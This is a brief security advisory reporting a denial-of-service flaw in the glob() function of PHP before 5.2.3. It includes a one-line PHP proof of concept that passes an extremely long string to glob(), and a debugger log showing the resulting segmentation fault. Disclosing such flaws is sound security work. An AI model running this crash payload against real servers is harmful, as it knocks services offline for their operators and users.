PHP < 5.2.3 glob() denial of service

Application: PHP < 5.2.3
Web Site: http://php.net
Platform: unix
Bug: denial of service
fonction: glob()
special condition:default php memory-limit value
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1) Introduction
2) Bug
3) Proof of concept
4) greets
5) Credits
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1) Introduction
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"PHP  is a widely-used general-purpose scripting language that
is especially suited for Web development and can be embedded into HTML."

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2) Bug
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glob() is vulnerable to a denial of service

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3)Proof of concept
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Proof of concept example :
<?php
glob(str_repeat("A", 9638013));
?>

result:
(gdb) run ./3.php

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread -1215031616 (LWP 11156)]
0xb79d3a5a in globfree () from /lib/tls/i686/cmov/libc.so.6


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4)Greets
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Ivanlef0u,Deimos,benji,soh
,and everyones on worldnet: #futurezone &
#nibbles

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5)Credits
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Laurent gaffie
contact : laurent.gaffie@gmail.com
stay tuned, site comming soon ....